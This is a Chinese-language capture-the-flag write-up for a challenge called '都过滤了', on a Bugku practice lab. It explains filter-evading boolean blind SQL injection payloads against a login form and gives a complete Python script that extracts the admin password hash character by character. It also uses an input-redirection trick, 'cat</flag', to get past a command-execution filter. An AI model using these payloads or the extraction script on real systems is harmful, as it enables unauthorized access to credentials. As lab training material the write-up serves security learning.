题目:都过滤了
知识点:SQL注入、SQL注入绕过、命令执行绕过
工具:
解题:
确定题型:
点开链接:
是一个登录框,再查看源码,发现该界面除了登录指向一个php脚本外,其他连接都是无效的,所以此题的玄机应该就在登录这里。这种情况下,常见的是两种,一是弱口令爆破,二是SQL注入攻击,我没有尝试第一种,因为看了别人的提示确定了这是一个SQL注入(注意,网上有很多非SQL注入的解题,这些是因为早期这个题目不完善留下的漏洞,现在经过完善后应该就只有SQL注入能够解题)
找注入点:
开始尝试,先随便试一下用户名和密码:
尝试万能密码:
还尝试了#也不行,看来是有过滤,来看一下过滤了哪些字符(这里比较坑,题目给的提示不对),尝试几个比较重要的,发现#、--、or、and、空格被过滤了,-、()、’、”没有被过滤:
到这我们整理一下手头的信息,概括性地来看SQL注入攻击的话,注入点、payload、服务器的响应,这时三个重要的要素。这一题的注入点我感觉不会是http首部什么的,应该就是uname和passwd了(因为我的尝试不断有发现);payload的话有一些过滤我已经发现了,这个待会儿再说;倒是服务器的响应值得我们注意,目前得到的响应有三种,密码错、用户名错、检测到注入,我们挨个来看,密码错很明显就是admin用户是存在的,这就给我们这题提供了个方向,我们很可能就是要去拿到admin的密码,而用户名错显然就是用户不存在了,这里我们需要思考一下,既然服务器区别了用户不存在和密码错误这两种情况,那后端的SQL语句就不可能是一句 select * from user where username=用户名 and password=密码 这样的语句能够完成的了,必然还会有一句select * from user where username=用户名 来检验用户名的存在与否,我们先来看看select * from user where username=用户名是不是存在注入呢?
没有报错,在意料之中,报错就太简单了,服务器相应响应是用户名错误(单双引号结果相同),那么这是否意味着单引号虽然没有被过滤但是被转义处理了,或者后端对sql语句错误的处理就是响应用户名错误呢?
我们继续试验,这里我们要尝试闭合引号:
先说说我们是怎么闭合引号的,既然注释符用不了,那我们就直接用引号闭合,能否闭合成功可以说明引号有没有被转义,有一个我以前跳过的坑说一下:
虽然mysql中两个字符串不需要连字符就可以拼接,但是他们中间是有一个单引号的,如果妄图在此处构造
uname=admin’&passwd=123和uname=admin’’&passwd=123来看两者的区别,这是不可取的。
看下面的的两个payload
这两个payload我跟大家解释一下,mysql中字符串和数字类型可以比较也可以做运算,但是在比较和运算之前,字符串都会被转化成0,这里的两个payload在后端可能就是:
select * from user where username=’admin’-0-’’;
减号的优先级高,’admin’-0-’’结果为0,实际上就是select * from user where username=0;而我刚刚说过,字符串与数字比较会变成0,那么username=0就是永真。我们得到的结果是密码错误,符合我们的预期。
select * from user where username=’admin’-’1-’’;
这个得到的响应用户名错误也符合我们的预期。
到现在我们可以确定了,单引号能够闭合uname这个参数存在SQL注入。
确定注入类型:
找到注入点后我们来确定一下注入类型,显然这时SQL盲注,上面我们实验的结果告诉我们,报错是不可能的报错的,这辈子都不可能报错的,数据库报错不回显,服务器端脚本也不提示,只有看看布尔注入和延时注入才可能做出来这样子。延时注入和布尔注入对于我来说差别不大,但是要看看一些函数有没有被过滤,经检验:mid、substr、ascii、ord等函数都没有被过滤,()也没有被过滤,但是很烦的是(,,)和(,)被过滤了,这会对使用mid、substr等函数造成极大影响,我又想到了正则表达式,不过很遗憾尝试之后发现regexp也被过滤了。但是天无绝人之路,我找到了mid的不常见用法:
mid(字符串 from 起始位置 for 长度)
空格不能用不要紧,我们用()分隔关键字和字符串就好
构造payload:
uname=admin'-(mid((passwd)from(1))='a')-'&passwd=123
这个payload我们可以通过返回的结果判断(mid((passwd)from(1))='a')是否为真,从而得到passwd的第一位,不过要说一句的是这里的passwd也是个人的猜测,对应密码的字段名也不一定是passwd,只能说很有可能,但是我们看到这里的结果是:
这就说明了passwd字段存在,因为不存在的话会报错,报错的结果是用户名不存在(如果这一题密码字段名出的刁钻一点,要有按往常SQL注入的步骤从数据库名到表名再到字段名)
走到这一步,突然想起来
mid(字符串 from 起始位置 for 长度)中的for是必须的,因为mid(字符串 from 起始位置)=left(字符串,起始位置),但是加上for之后,发现检测到注入,很明显,for被过滤了,走到这里我卡了很久,但是比较幸运看到了一个大佬的payload:
mid(REVERSE(MID((passwd)from(起始位置)))from(-1))
大家可以推演一下:
mid(REVERSE(MID((passwd)from(n)))from(-1))=mid((passwd)from(n)for1)
写个Python脚本:
# -*- coding: utf-8 -*-
import requests as rq
uname = {'uname': "admin'-(ascii(mid(REVERSE(mid((passwd)from({start})))from(-1))){operator}{value})-'"}
passwd = {'passwd': '123'}
url = "http://114.67.246.176:18609/login.php"
def bool_sql(col_min, col_max, ascii_min, ascii_max, url, injection, other_data, judge_string):
session = rq.Session()
value = ''
injection_data = ''
injection_param = ''
for key, val in injection.items():
injection_data = val
injection_param = key
for i in range(col_min, col_max):
start = i
injection_data_1 = injection_data.replace('{start}', str(start))
injection_data_2 = injection_data.replace('{start}', str(start))
lmax = ascii_max
lmin = ascii_min
while lmin <= lmax:
injection_data1 = injection_data_1
injection_data2 = injection_data_2
ascii_mid = int((lmin + lmax) / 2)
injection_data1 = injection_data1.replace('{value}', str(ascii_mid))
injection_data2 = injection_data2.replace('{value}', str(ascii_mid))
injection_data1 = injection_data1.replace('{operator}', '=')
# print(injection_data1)
data = {injection_param: injection_data1}
data.update(other_data)
html = session.post(url, data=data)
if judge_string in html.text:
break
injection_data2 = injection_data2.replace('{operator}', '<')
data = {injection_param: injection_data2}
data.update(other_data)
# print(injection_data2)
html = session.post(url, data=data)
# print(html.text)
if judge_string in html.text:
lmax = ascii_mid - 1
else:
lmin = ascii_mid + 1
# print(ascii_mid)
value += chr(ascii_mid)
return value
print(bool_sql(1, 33, 1, 129, url, uname, passwd, "username error!!@_@"))
得到结果:
先试一下是不是flag
发现不是,还是要登录,这借用这个作为密码也不对,猜想到php常常对密码进行md5加密密处理后存储,MD5免费在线解密破解_MD5在线加密-SOMD5在线解密得到bugkuctf
登录
进入到命令执行界面
发现这里也有很多过滤,依照别人的提示,cat</flag得到了flag
这里可以去了解一下shell重定向,但是感觉知道重定向能找到flag也很偶然,要是flag换个文件名或者不是直接放在根目录下还真不好找。